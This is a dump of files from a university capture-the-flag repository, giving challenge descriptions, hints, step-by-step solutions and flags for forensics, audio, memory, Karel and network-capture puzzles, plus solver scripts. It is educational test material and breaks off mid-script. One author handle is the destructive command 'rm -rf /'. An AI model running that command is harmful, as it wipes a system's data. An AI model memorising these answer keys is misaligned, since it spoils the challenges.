`mtv.txt` and finding out that it's a jpg. Opening it as an image 22 | you get the same picture, but the flag is changed to the MTV flag. This image is a frame 23 | from the opening braodcast of MTV on August 1, 1981. If you run binwalk again, you'll find 24 | a tar file attached. Again use `binwalk` or `dd` to pull the tar file off and untar the 25 | file to find flag.txt. 26 | 27 | ## Flag: 28 | magpie{V1d30_ki113d_Th3_R4D10_St4R} 29 | -------------------------------------------------------------------------------- /challenges/forensics/false-flag/moonman.jpeg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/infosec-ucalgary/magpieCTF-2021/d0d80724eb9f2d571b8c3c62afaa3c159b166f70/challenges/forensics/false-flag/moonman.jpeg -------------------------------------------------------------------------------- /challenges/forensics/moving-pictures/Moving_Pictures.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/infosec-ucalgary/magpieCTF-2021/d0d80724eb9f2d571b8c3c62afaa3c159b166f70/challenges/forensics/moving-pictures/Moving_Pictures.pdf -------------------------------------------------------------------------------- /challenges/forensics/moving-pictures/README.md: -------------------------------------------------------------------------------- 1 | 2 | # Moving Pictures 3 | ### Category: Forensics 4 | ### Author: Braydon Willms 5 | 6 | ## Description 7 | I've been trying to figure out where Neil's car is - I wonder if he hid it in one of his albums? 8 | 9 | We're also given Moving\_Pictures.pdf. 10 | 11 | ## Hint 12 | Where could things be hidden in a pdf? 13 | 14 | ## Solution 15 | 1. We can start by looking around the pdf. We can find that it has multiple layers, and there's a steganography password hidden underneath the top layer when we remove it. 16 | 17 | 2. Figuring out where to use this password takes a bit more work. We might try to use it on the album pictures, but this doesn't seem to work. When we look closer at the pdf data (using something like a hex editor, or strings or binwalk), we find an object that has been partially corrupted which prevents it from rendering correctly. 18 | 19 | 3. We can extract the picture in this object using binwalk to locate it and dd to extract the data. 20 | 21 | 4. Once the picture is extracted, we can use steghide along with the password we found to pull a binary out of the image, which gives us the flag when we run or look through it. 22 | 23 | ## Flag 24 | magpie{B4rc73774\_8UR1eD\_!n\_7H3\_B4RN} 25 | -------------------------------------------------------------------------------- /challenges/forensics/spectral-crib-synth/README.md: -------------------------------------------------------------------------------- 1 | # Spectral Crib Synth 2 | ### Category: Forensics 3 | ### Author: Brandon Arenas (Inga5508) 4 | 5 | ## Description 6 | So my friend borrowed two of my favourite songs and combined them together to make a synth mix. Unfortunately, it kinda sucks and on top of that, he lost one of the original mp3 files! The **AUDACITY**!!! Can you recover my song please? 7 | 8 | ## Hints 9 | 1. Try looking at the audio files as spectrograms 10 | 2. Try to somehow “cancel out” the first part of the flag in synth_mix (suggest to look up inverting maybe) 11 | 12 | ## Solution 13 | 14 | The wolf_raven mp3 file has part of the flag “magpie{5yn” at the 1 minute mark when viewing the audio as a spectrogram. The timecop_1983 file has the second part of the flag “tH_15_80’5k1n6}” at the 3 minute mark when viewing the audio as a spectrogram. The synth_mix file is a mix of both of these files where I purposely obfuscate the flag by moving the audio of wolf_raven which contains “magpie{5yn”, so that it aligns at the 3 minute mark with "tH_15_80'5k1n6}". This makes the flag look like an illegible garble of letters. The challenge consists of reversing this process. 15 | 16 | 1. View the audio files as spectrograms. 17 | 2. Move the chunk of flag in raven_wolf to the 3 minute mark. Putting the wolf_raven flag to the 3 minute mark will align it with the garbled flag in synth_mix. 18 | 3. After aligning them, raven_wolf needs to be inverted. 19 | 4. Finally, a new mix needs to be created by saving the mix as one audio file. 20 | 5. The new mix will have raven_wolf subtracted from synth_mix which will contain the ungarbled timecop_1983 file, revealing the second part of the flag. 21 | 22 | ## Flag 23 | magpie{5yntH_15_80’sk1n6} 24 | -------------------------------------------------------------------------------- /challenges/forensics/spectral-crib-synth/solve/synth-mix.mp3: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/infosec-ucalgary/magpieCTF-2021/d0d80724eb9f2d571b8c3c62afaa3c159b166f70/challenges/forensics/spectral-crib-synth/solve/synth-mix.mp3 -------------------------------------------------------------------------------- /challenges/forensics/spectral-crib-synth/solve/timecop-1983-on-the-run.mp3: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/infosec-ucalgary/magpieCTF-2021/d0d80724eb9f2d571b8c3c62afaa3c159b166f70/challenges/forensics/spectral-crib-synth/solve/timecop-1983-on-the-run.mp3 -------------------------------------------------------------------------------- /challenges/forensics/spectral-crib-synth/solve/wolf-raven-on-the-run.mp3: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/infosec-ucalgary/magpieCTF-2021/d0d80724eb9f2d571b8c3c62afaa3c159b166f70/challenges/forensics/spectral-crib-synth/solve/wolf-raven-on-the-run.mp3 -------------------------------------------------------------------------------- /challenges/forensics/spectral-crib-synth/synth-mix.mp3: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/infosec-ucalgary/magpieCTF-2021/d0d80724eb9f2d571b8c3c62afaa3c159b166f70/challenges/forensics/spectral-crib-synth/synth-mix.mp3 -------------------------------------------------------------------------------- /challenges/forensics/spectral-crib-synth/wolf-rave-on-the-run.mp3: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/infosec-ucalgary/magpieCTF-2021/d0d80724eb9f2d571b8c3c62afaa3c159b166f70/challenges/forensics/spectral-crib-synth/wolf-rave-on-the-run.mp3 -------------------------------------------------------------------------------- /challenges/forensics/wargames/README.md: -------------------------------------------------------------------------------- 1 | # WarGames 2 | ### Category: Forensics 3 | ### Author: Alexandra Tenney (alexxxii) 4 | 5 | ## Description 6 | Joshua doesn't only like playing games, he also likes messing with the windows registry. I heard he was messing around at Software\Magpie. 7 | 8 | ## Hints 9 | 1. "Software\Magpie" might be the key... 10 | 11 | ## Solution 12 | Volatlity is a great program to parse through volatile memory, like that found in a vmem file. An `apt install` isnt the best installation choice because it doesn't download the newest version, so directly cloning the github and running the program from there should be our course of action. 13 | 14 | ```bash 15 | 1. git clone https://github.com/volatilityfoundation/volatility.git 16 | 2. cd volatility 17 | 3. chmod 755 setup.py 18 | 4. ./setup.py install 19 | ``` 20 | 21 | Then we need to find the profile of the machine that the vmem was taken from, this can be done using the command: `python vol.py -f wopr.vmem imageinfo`. This should give you the profile of `Win10x64_18362` 22 | 23 | The description and hint refer to a Windows Registry Key of Software\Magpie, which we can look through using volatility. 24 | 25 | `vol.py -f ~/alex/windows.vmem --profile=Win10x64_18362 printkey -K "Software\Magpie"` 26 | 27 | The string `bWFncGlle3RoM19yM2cxc3RyeV8xNV9uMHRfc2M0cnl9` is a base 64 ecoded string of the flag. 28 | 29 | ## Flag 30 | magpie{th3_r3g1stry_15_n0t_sc4ry} 31 | 32 | -------------------------------------------------------------------------------- /challenges/misc/karel/README.md: -------------------------------------------------------------------------------- 1 | # Karel 2 | ### Category: Misc 3 | ### Author: Alexandra Tenney (alexxxii) 4 | 5 | ## Description 6 | Karel is a robot made by Richard E. Pattis used to teach programming and the logical problem solving skills needed in order to be a programmer in 7 | 1981. It seems like she's trying to tell us something... but I'm not sure what. 8 | 9 | ## Hints 10 | 1. Karel only has four states... 11 | 12 | ## Solution 13 | 1. Download and slow down the video or take screenshots at every frame in order to see Karels movements. You should notice she has 4: move, turn left, pick up beeper, put down beeper (this also can be found online with descriptions about Karel). 14 | 2. Trace all of these moves. 15 | 3. Run the following decryption scrypt to change the sequence of her moves into quaternary, decimal, then ascii. 16 | ```python 17 | from itertools import permutations 18 | import time 19 | 20 | def qua_to_decimal(q): 21 | total = 0 22 | for i in range(len(q)): 23 | total += int(q[i]) * 4**(len(q) - i - 1) 24 | 25 | return total 26 | 27 | # turn_left => l 28 | # pick_beeper => p 29 | # put_beeper => b 30 | # move => m 31 | 32 | moves = [ ... ] 33 | 34 | perm = permutations([0, 1, 2, 3]) 35 | 36 | for i in list(perm): 37 | string1 = "" 38 | flag = "" 39 | for move in moves: 40 | for bit in move: 41 | if bit == "m": 42 | string1 += str(i[0]) 43 | elif bit == "l": 44 | string1 += str(i[1]) 45 | elif bit == "b": 46 | string1 += str(i[2]) 47 | elif bit == "p": 48 | string1 += str(i[3]) 49 | new_string = str(qua_to_decimal(string1)) 50 | flag += chr(int(new_string)) 51 | string1 = "" 52 | if "magpie" in flag: 53 | print(flag) 54 | break 55 | ``` 56 | 57 | The complete moves list can be found in the script_solution.py file 58 | 59 | ## Flag 60 | magpiezK4r31_15_4_6r347_734CH3r 61 | magpie{K4r31_15_4_6r347_734CH3r} 62 | 63 | -------------------------------------------------------------------------------- /challenges/misc/karel/karel.mp4: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/infosec-ucalgary/magpieCTF-2021/d0d80724eb9f2d571b8c3c62afaa3c159b166f70/challenges/misc/karel/karel.mp4 -------------------------------------------------------------------------------- /challenges/misc/karel/solve/script_solution.py: -------------------------------------------------------------------------------- 1 | from itertools import permutations 2 | import time 3 | 4 | def qua_to_decimal(q): 5 | total = 0 6 | for i in range(len(q)): 7 | total += int(q[i]) * 4**(len(q) - i - 1) 8 | 9 | return total 10 | 11 | # turn_left => l 12 | # pick_beeper => p 13 | # put_beeper => b 14 | # move => m 15 | 16 | moves = [ "lpbl", "lpml", "lplb", "lbmm", "lppl", "lpll", "lbpp", "lmpb", "mblm", "lbmp", "mbmb", "mbml", "llbb", "mbml", "mbll", "llbb", "mblm", "llbb", "mblp", "lbmp", "mbmb", "mblm", "mblb", "llbb", "mblb", "mbmb", "mblm", "lmmb", "lmpm", "mbmb", "lbmp"] 17 | 18 | perm = permutations([0, 1, 2, 3]) 19 | 20 | for i in list(perm): 21 | string1 = "" 22 | flag = "" 23 | for move in moves: 24 | for bit in move: 25 | if bit == "m": 26 | string1 += str(i[0]) 27 | elif bit == "l": 28 | string1 += str(i[1]) 29 | elif bit == "b": 30 | string1 += str(i[2]) 31 | elif bit == "p": 32 | string1 += str(i[3]) 33 | new_string = str(qua_to_decimal(string1)) 34 | flag += chr(int(new_string)) 35 | string1 = "" 36 | if "magpie" in flag: 37 | print(flag) 38 | break 39 | -------------------------------------------------------------------------------- /challenges/misc/karel/source/beeper-picking-karel.py: -------------------------------------------------------------------------------- 1 | """ 2 | This simple Karel the Robot example contains instructions that cause Karel to 3 | move forward one block, pick up a beeper, then move ahead to the next corner. 4 | It is meant to be run on ex-simple.w, but you can run it on other worlds to 5 | test the Karel simulator's behaviour with things like error conditions. 6 | 7 | This example is adapted from the "Karel the Robot Learns Java" handout (2005) 8 | written by Eric Roberts for CS106A at Stanford University. 9 | 10 | Author: Sonny Chan 11 | Date: August 2018 12 | """ 13 | 14 | from karel import * 15 | 16 | 17 | begin_karel_program() 18 | 19 | move() 20 | pick_beeper() 21 | move() 22 | 23 | end_karel_program() 24 | -------------------------------------------------------------------------------- /challenges/misc/karel/source/beeper-toting-karel.py: -------------------------------------------------------------------------------- 1 | """ 2 | This Karel the Robot program instructs Karel to pick up a beeper from 1st 3 | street and carry that beeper to the centre of a ledge on 2nd street. 4 | Run this program with the world specified in ex-simple.w. 5 | 6 | This example is adapted from the "Karel the Robot Learns Java" handout (2005) 7 | written by Eric Roberts for CS106A at Stanford University. 8 | 9 | Author: Sonny Chan 10 | Date: August 2018 11 | """ 12 | 13 | from karel import * 14 | 15 | 16 | begin_karel_program() 17 | 18 | # move forward and pick up the beeper 19 | move() 20 | pick_beeper() 21 | 22 | # move forward, turn the corner, and go to the centre of the 2nd street ledge 23 | move() 24 | turn_left() 25 | move() 26 | turn_left() 27 | turn_left() 28 | turn_left() 29 | move() 30 | move() 31 | 32 | # put the beeper down and move forward again 33 | put_beeper() 34 | move() 35 | 36 | end_karel_program() 37 | -------------------------------------------------------------------------------- /challenges/misc/karel/source/challenge.py: -------------------------------------------------------------------------------- 1 | from karel import * 2 | 3 | begin_karel_program() 4 | 5 | turn_left() 6 | pick_beeper() 7 | put_beeper() 8 | turn_left() 9 | 10 | turn_left() 11 | pick_beeper() 12 | move() 13 | turn_left() 14 | 15 | turn_left() 16 | pick_beeper() 17 | turn_left() 18 | put_beeper() 19 | 20 | turn_left() 21 | put_beeper() 22 | move() 23 | move() 24 | 25 | turn_left() 26 | pick_beeper() 27 | pick_beeper() 28 | turn_left() 29 | 30 | turn_left() 31 | pick_beeper() 32 | turn_left() 33 | turn_left() 34 | 35 | turn_left() 36 | put_beeper() 37 | pick_beeper() 38 | pick_beeper() 39 | 40 | turn_left() 41 | move() 42 | pick_beeper() 43 | put_beeper() 44 | 45 | move() 46 | put_beeper() 47 | turn_left() 48 | move() 49 | 50 | turn_left() 51 | put_beeper() 52 | move() 53 | pick_beeper() 54 | 55 | move() 56 | put_beeper() 57 | move() 58 | put_beeper() 59 | 60 | move() 61 | put_beeper() 62 | move() 63 | turn_left() 64 | 65 | turn_left() 66 | turn_left() 67 | put_beeper() 68 | put_beeper() 69 | 70 | move() 71 | put_beeper() 72 | move() 73 | turn_left() 74 | 75 | move() 76 | put_beeper() 77 | turn_left() 78 | turn_left() 79 | 80 | turn_left() 81 | turn_left() 82 | put_beeper() 83 | put_beeper() 84 | 85 | move() 86 | put_beeper() 87 | turn_left() 88 | move() 89 | 90 | turn_left() 91 | turn_left() 92 | put_beeper() 93 | put_beeper() 94 | 95 | move() 96 | put_beeper() 97 | turn_left() 98 | pick_beeper() 99 | 100 | turn_left() 101 | put_beeper() 102 | move() 103 | pick_beeper() 104 | 105 | move() 106 | put_beeper() 107 | move() 108 | put_beeper() 109 | 110 | move() 111 | put_beeper() 112 | turn_left() 113 | move() 114 | 115 | move() 116 | put_beeper() 117 | turn_left() 118 | put_beeper() 119 | 120 | turn_left() 121 | turn_left() 122 | put_beeper() 123 | put_beeper() 124 | 125 | move() 126 | put_beeper() 127 | turn_left() 128 | put_beeper() 129 | 130 | move() 131 | put_beeper() 132 | move() 133 | put_beeper() 134 | 135 | move() 136 | put_beeper() 137 | turn_left() 138 | move() 139 | 140 | turn_left() 141 | move() 142 | move() 143 | put_beeper() 144 | 145 | turn_left() 146 | move() 147 | pick_beeper() 148 | move() 149 | 150 | move() 151 | put_beeper() 152 | move() 153 | put_beeper() 154 | 155 | turn_left() 156 | put_beeper() 157 | move() 158 | pick_beeper() 159 | 160 | end_karel_program() 161 | -------------------------------------------------------------------------------- /challenges/misc/karel/source/karel/__init__.py: -------------------------------------------------------------------------------- 1 | """ 2 | An implementation of Karel the Robot as described by Richard E. Pattis in 3 | Karel the Robot: A Gentle Introduction to the Art of Programming, 2nd ed. 4 | (John Wiley & Sons, 1995). This implementation has Karel using Python 3 syntax 5 | and relies on the Booksite Library supporting Introduction to Programming in 6 | Python by Robert Sedgewick, Kevin Wayne, and Robert Dondero. 7 | https://introcs.cs.princeton.edu/python/home/ 8 | 9 | __init.py__ defines the client interface to our Karel the Robot module. 10 | It sets up the environment so that we can write a karel program with 11 | 12 | from karel import * 13 | begin_karel_program() 14 | # give instructions to karel 15 | end_karel_program() 16 | 17 | and we'll have exactly the basic set of instructions and conditions that 18 | Pattis described. Note that the instruction names are slightly different 19 | from those that Pattis used. The names follow those used in CS106A at Stanford 20 | University, but use the underscore convention consistent with Python rather 21 | than the CamelCase convention popular with Java. 22 | 23 | Author: Sonny Chan 24 | Date: August 2018 25 | """ 26 | 27 | from karel.simulation import * 28 | 29 | __all__ = [ 30 | 'begin_karel_program', 'end_karel_program', 31 | 'move', 'turn_left', 'pick_beeper', 'put_beeper', 32 | 'front_is_clear', 'left_is_clear', 'right_is_clear', 33 | 'beepers_present', 'beepers_in_bag', 34 | 'facing_north', 'facing_east', 'facing_south', 'facing_west', 35 | 'run_editor_at_finish' 36 | ] 37 | -------------------------------------------------------------------------------- /challenges/misc/karel/source/karel/constants.py: -------------------------------------------------------------------------------- 1 | """ 2 | An implementation of Karel the Robot as described by Richard E. Pattis in 3 | Karel the Robot: A Gentle Introduction to the Art of Programming, 2nd ed. 4 | (John Wiley & Sons, 1995). This implementation has Karel using Python 3 syntax 5 | and relies on the Booksite Library supporting Introduction to Programming in 6 | Python by Robert Sedgewick, Kevin Wayne, and Robert Dondero. 7 | https://introcs.cs.princeton.edu/python/home/ 8 | 9 | constants.py defines a number of constant data elements that our karel module 10 | uses. Support functions are also defined to obtain paths to the graphical 11 | sprites used to draw the state of Karel and his world. 12 | 13 | Author: Sonny Chan 14 | Date: August 2018 15 | """ 16 | 17 | import os 18 | 19 | # defined directions 20 | NORTH = 0 21 | EAST = 1 22 | SOUTH = 2 23 | WEST = 3 24 | 25 | # direction names 26 | DIRECTION_NAMES = ['north', 'east', 'south', 'west'] 27 | 28 | # image files 29 | BEEPER_IMAGE_32 = 'beeper.png' 30 | BEEPER_IMAGE_24 = 'beeper24.png' 31 | BEEPER_IMAGE_16 = 'beeper16.png' 32 | KAREL_IMAGE_32 = 'karel.png' 33 | KAREL_IMAGE_24 = 'karel24.png' 34 | KAREL_IMAGE_16 = 'karel16.png' 35 | ERROR_IMAGE = 'error.png' 36 | 37 | # max number of streets and avenues in the world 38 | MAX_WORLD_AVENUES = 50 39 | MAX_WORLD_STREETS = 50 40 | 41 | # max world size in pixels, for drawing 42 | MAX_WIDTH_PIXELS = 1600 43 | MAX_HEIGHT_PIXELS = 900 44 | 45 | 46 | def _images_path(): 47 | path = os.path.join(os.path.dirname(__file__), 'images') 48 | return os.path.abspath(path) 49 | 50 | 51 | def beeper_image_file(size=32): 52 | if size < 24: 53 | return os.path.join(_images_path(), BEEPER_IMAGE_16) 54 | elif size < 32: 55 | return os.path.join(_images_path(), BEEPER_IMAGE_24) 56 | else: 57 | return os.path.join(_images_path(), BEEPER_IMAGE_32) 58 | 59 | 60 | def karel_image_file(size=32): 61 | if size < 24: 62 | return os.path.join(_images_path(), KAREL_IMAGE_16) 63 | elif size < 32: 64 | return os.path.join(_images_path(), KAREL_IMAGE_24) 65 | else: 66 | return os.path.join(_images_path(), KAREL_IMAGE_32) 67 | 68 | 69 | def error_image_file(): 70 | return os.path.join(_images_path(), ERROR_IMAGE) -------------------------------------------------------------------------------- /challenges/misc/karel/source/karel/images/beeper.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/infosec-ucalgary/magpieCTF-2021/d0d80724eb9f2d571b8c3c62afaa3c159b166f70/challenges/misc/karel/source/karel/images/beeper.png -------------------------------------------------------------------------------- /challenges/misc/karel/source/karel/images/beeper16.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/infosec-ucalgary/magpieCTF-2021/d0d80724eb9f2d571b8c3c62afaa3c159b166f70/challenges/misc/karel/source/karel/images/beeper16.png -------------------------------------------------------------------------------- /challenges/misc/karel/source/karel/images/beeper24.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/infosec-ucalgary/magpieCTF-2021/d0d80724eb9f2d571b8c3c62afaa3c159b166f70/challenges/misc/karel/source/karel/images/beeper24.png -------------------------------------------------------------------------------- /challenges/misc/karel/source/karel/images/error.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/infosec-ucalgary/magpieCTF-2021/d0d80724eb9f2d571b8c3c62afaa3c159b166f70/challenges/misc/karel/source/karel/images/error.png -------------------------------------------------------------------------------- /challenges/misc/karel/source/karel/images/karel.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/infosec-ucalgary/magpieCTF-2021/d0d80724eb9f2d571b8c3c62afaa3c159b166f70/challenges/misc/karel/source/karel/images/karel.png -------------------------------------------------------------------------------- /challenges/misc/karel/source/karel/images/karel16.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/infosec-ucalgary/magpieCTF-2021/d0d80724eb9f2d571b8c3c62afaa3c159b166f70/challenges/misc/karel/source/karel/images/karel16.png -------------------------------------------------------------------------------- /challenges/misc/karel/source/karel/images/karel24.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/infosec-ucalgary/magpieCTF-2021/d0d80724eb9f2d571b8c3c62afaa3c159b166f70/challenges/misc/karel/source/karel/images/karel24.png -------------------------------------------------------------------------------- /challenges/misc/karel/source/karel/robot.py: -------------------------------------------------------------------------------- 1 | """ 2 | An implementation of Karel the Robot as described by Richard E. Pattis in 3 | Karel the Robot: A Gentle Introduction to the Art of Programming, 2nd ed. 4 | (John Wiley & Sons, 1995). This implementation has Karel using Python 3 syntax 5 | and relies on the Booksite Library supporting Introduction to Programming in 6 | Python by Robert Sedgewick, Kevin Wayne, and Robert Dondero. 7 | https://introcs.cs.princeton.edu/python/home/ 8 | 9 | robot.py is a simple class that encapsulates Karel the Robot's internal state. 10 | It includes his location, direction he's facing, and the number of beepers 11 | currently in his bag. 12 | 13 | Author: Sonny Chan 14 | Date: August 2018 15 | """ 16 | 17 | from karel import constants 18 | 19 | 20 | class Karel: 21 | """ 22 | A class to encapsulate Karel the Robot's internal state. 23 | """ 24 | 25 | def __init__(self, avenue=1, street=1, direction='east'): 26 | # Karel's present location 27 | self.location_avenue = avenue 28 | self.location_street = street 29 | 30 | # determine which direction Karel is facing 31 | if direction == 'north': 32 | self.facing = constants.NORTH 33 | elif direction == 'east': 34 | self.facing = constants.EAST 35 | elif direction == 'south': 36 | self.facing = constants.SOUTH 37 | elif direction == 'west': 38 | self.facing = constants.WEST 39 | else: 40 | self.facing = constants.EAST 41 | 42 | # initialize Karel's beeper bag 43 | self.beepers = float('inf') 44 | 45 | # set initial error state 46 | self.error = False 47 | self.error_message = 'A-OK' 48 | 49 | def __str__(self): 50 | s = '' 51 | if self.beepers == float('inf'): 52 | s += 'BeeperBag: INFINITE\n' 53 | elif self.beepers > 0.0: 54 | s += 'BeeperBag: {}\n'.format(int(self.beepers)) 55 | direction = constants.DIRECTION_NAMES[self.facing].capitalize() 56 | s += 'Karel: ({}, {}) {}\n'.format(self.location_avenue, 57 | self.location_street, 58 | direction) 59 | return s 60 | -------------------------------------------------------------------------------- /challenges/misc/karel/source/worlds/challenge-world.w: -------------------------------------------------------------------------------- 1 | Dimension: (8, 10) 2 | Beeper: (3, 8) 1 3 | Beeper: (3, 7) 1 4 | Beeper: (3, 5) 4 5 | Beeper: (2, 5) 1 6 | Beeper: (2, 4) 1 7 | Beeper: (4, 10) 1 8 | BeeperBag: 30 9 | Karel: (3, 8) East 10 | Speed: 6 11 | -------------------------------------------------------------------------------- /challenges/misc/magpieSays/README.md: -------------------------------------------------------------------------------- 1 | # MagpieSays 2 | ### Category: Misc 3 | ### Author: Ejaaz Lakhani dmsday#7306 4 | 5 | ## Description 6 | Magpie is the oposite of a songbird, instead of Magpie mimicing your output, Magpie wants you to copy it. The more you do it, the happier Magpie becomes. If you make magpie happy enough, it might just tell you the flag. 7 | 8 | Mimic the game output using keyboard 9 | 0 - green 10 | 1 - red 11 | 2 - blue 12 | 3 - yellow 13 | 4 - pink 14 | 5 - lightgray 15 | 6 - cyan 16 | 7 - gray 17 | 8 - orange 18 | 9 - magenta 19 | 20 | MagpieSays find the flag 21 | 22 | 23 | ## Solution 24 | 1) The game works as a normal game of Simon Says where the CPU gives a string of arguments equal to the level then the user has to mimic those arguments to move on to the next level. 25 | 26 | 2) User can input the pattern using number keys from 0-9 going counter clockwise starting from green. 27 | 28 | 3) There are a total of 57 levels in the game. The final order of all buttons is 29 | 1,0,9,0,9,7,1,0,3,1,2,1,0,5,1,0,1,1,1,2,3,0,6,5,0,8,3,0,6,7,0,7,3,0,7,3,0,9,5,1,0,5,1,1,5,0,9,5,1,0,2,1,1,7,1,1,0,1,2,5 30 | 31 | 4) Think how can we represent data with a set of numbers. 32 | 33 | 5) The solution here is ASCII where every 3 numbers correspond to an ASCII character 34 | 35 | 6) 36 | 37 | 109 - m 38 | 097 - a 39 | 103 - g 40 | 112 - p 41 | 105 - i 42 | 101 - e 43 | 44 | 123 - { 45 | 46 | 065 - A 47 | 083 - S 48 | 067 - C 49 | 073 - I 50 | 073 - I 51 | 52 | 095 - _ 53 | 54 | 105 - i 55 | 115 - s 56 | 57 | 095 - _ 58 | 59 | 102 - f 60 | 117 - u 61 | 110 - n 62 | 63 | 125 - } 64 | 65 | (could also use a simple decimal to ASCII conversion site) 66 | 67 | ## Flag 68 | 69 | magpie{ASCII_is_fun} 70 | -------------------------------------------------------------------------------- /challenges/misc/magpieSays/magpieJar.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/infosec-ucalgary/magpieCTF-2021/d0d80724eb9f2d571b8c3c62afaa3c159b166f70/challenges/misc/magpieSays/magpieJar.jar -------------------------------------------------------------------------------- /challenges/misc/magpieSays/src/.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/infosec-ucalgary/magpieCTF-2021/d0d80724eb9f2d571b8c3c62afaa3c159b166f70/challenges/misc/magpieSays/src/.DS_Store -------------------------------------------------------------------------------- /challenges/misc/magpieSays/src/SimonColor.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/infosec-ucalgary/magpieCTF-2021/d0d80724eb9f2d571b8c3c62afaa3c159b166f70/challenges/misc/magpieSays/src/SimonColor.class -------------------------------------------------------------------------------- /challenges/misc/magpieSays/src/SimonPanel$1.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/infosec-ucalgary/magpieCTF-2021/d0d80724eb9f2d571b8c3c62afaa3c159b166f70/challenges/misc/magpieSays/src/SimonPanel$1.class -------------------------------------------------------------------------------- /challenges/misc/magpieSays/src/SimonPanel$DisplayColorTimerListener.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/infosec-ucalgary/magpieCTF-2021/d0d80724eb9f2d571b8c3c62afaa3c159b166f70/challenges/misc/magpieSays/src/SimonPanel$DisplayColorTimerListener.class -------------------------------------------------------------------------------- /challenges/misc/magpieSays/src/SimonPanel$KeyBindingAction.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/infosec-ucalgary/magpieCTF-2021/d0d80724eb9f2d571b8c3c62afaa3c159b166f70/challenges/misc/magpieSays/src/SimonPanel$KeyBindingAction.class -------------------------------------------------------------------------------- /challenges/misc/magpieSays/src/SimonPanel$TurnOffListener.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/infosec-ucalgary/magpieCTF-2021/d0d80724eb9f2d571b8c3c62afaa3c159b166f70/challenges/misc/magpieSays/src/SimonPanel$TurnOffListener.class -------------------------------------------------------------------------------- /challenges/misc/magpieSays/src/SimonPanel.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/infosec-ucalgary/magpieCTF-2021/d0d80724eb9f2d571b8c3c62afaa3c159b166f70/challenges/misc/magpieSays/src/SimonPanel.class -------------------------------------------------------------------------------- /challenges/misc/magpieSays/src/SimonPattern.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/infosec-ucalgary/magpieCTF-2021/d0d80724eb9f2d571b8c3c62afaa3c159b166f70/challenges/misc/magpieSays/src/SimonPattern.class -------------------------------------------------------------------------------- /challenges/misc/magpieSays/src/SimonShape.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/infosec-ucalgary/magpieCTF-2021/d0d80724eb9f2d571b8c3c62afaa3c159b166f70/challenges/misc/magpieSays/src/SimonShape.class -------------------------------------------------------------------------------- /challenges/misc/magpieSays/src/SimonTest.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/infosec-ucalgary/magpieCTF-2021/d0d80724eb9f2d571b8c3c62afaa3c159b166f70/challenges/misc/magpieSays/src/SimonTest.class -------------------------------------------------------------------------------- /challenges/networks/a-new-jimmy/README.md: -------------------------------------------------------------------------------- 1 | # A New Jimmy 2 | ### Category: Networks 3 | ### Author: Joshua Novak (rm -rf /#0797) 4 | 5 | ## Description 6 | It seems like Jimmy got the flag illegitimately as he got it directly from our server. 7 | Luckily for us, we were able to capture the traffic from that transaction. See if you 8 | can figure out what he did and find the flag! 9 | 10 | ## Hints 11 | 1. I can't TELl you how he conNEcTed, it was pure magic. 12 | 13 | ## Solution 14 | 1. Open pcap file in wireshark 15 | 2. Two ways to do this 16 | - Follow the TCP stream and find cat flag.txt response 17 | - Scan through each packet and find the packet where the server sends the encoded flag (packet 110) 18 | 3. Decode base64 data string for the flag 19 | 20 | ## Flag 21 | magpie{t3ln3t_1s_b@d} 22 | -------------------------------------------------------------------------------- /challenges/networks/a-new-jimmy/wireshark_1.pcap: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/infosec-ucalgary/magpieCTF-2021/d0d80724eb9f2d571b8c3c62afaa3c159b166f70/challenges/networks/a-new-jimmy/wireshark_1.pcap -------------------------------------------------------------------------------- /challenges/networks/jimmy-strikes-back/README.md: -------------------------------------------------------------------------------- 1 | # Jimmy Strikes Back 2 | ### Category: Networks 3 | ### Author: Joshua Novak (rm -rf /#0797) 4 | 5 | ## Description 6 | Looks like Jimmy's at it again... I heard him mention something about a new DNS server 7 | he's hosting. I heard him mention that the first octet is "167". Dig around this pcap 8 | and see what you can find. It also seems like he hasn't bought his domain yet... 9 | 10 | ## Hints 11 | 1. Since he is still deveoping this, its not using the normal DNS port 12 | 2. There is a URL somewhere in the .pcap file 13 | 14 | ## Solution 15 | 1. Look for communication with the IP starting with 167... 16 | 2. Find the fake URL in the message sent to the DNS server 17 | 3. Dig the server with the following command (keep the port in mind) 18 | - `dig @ -p ` 19 | - `nslookup -port= ` 20 | ``` 21 | dig @167.71.58.123 -p 44434 magpie.flag 22 | ``` 23 | or 24 | ``` 25 | nslookup -port=44434 magpie.flag 167.71.58.123 26 | ``` 27 | 4. Find the IP of the fake URL 28 | 5. Visit IP: 29 | - In web browser 30 | - via cURL 31 | 6. Grab flag 32 | 33 | ## Flag 34 | magpie{1t5_4lw4y5_DNS} 35 | -------------------------------------------------------------------------------- /challenges/networks/jimmy-strikes-back/solve/jimmy-strikes-back-solve.py: -------------------------------------------------------------------------------- 1 | import os 2 | import sys 3 | import socket 4 | import platform 5 | import requests 6 | import subprocess 7 | 8 | def solve() -> bool: 9 | flag = "magpie{1t5_4lw4y5_DNS}" 10 | 11 | # Since this challenge won't be hosted on the CTFd site 12 | # these are two external IP's that are used instead 13 | dns_ip = "167.71.58.123" # IP of the 'DNS' server 14 | goal_ip = "34.219.182.220" # IP of the web 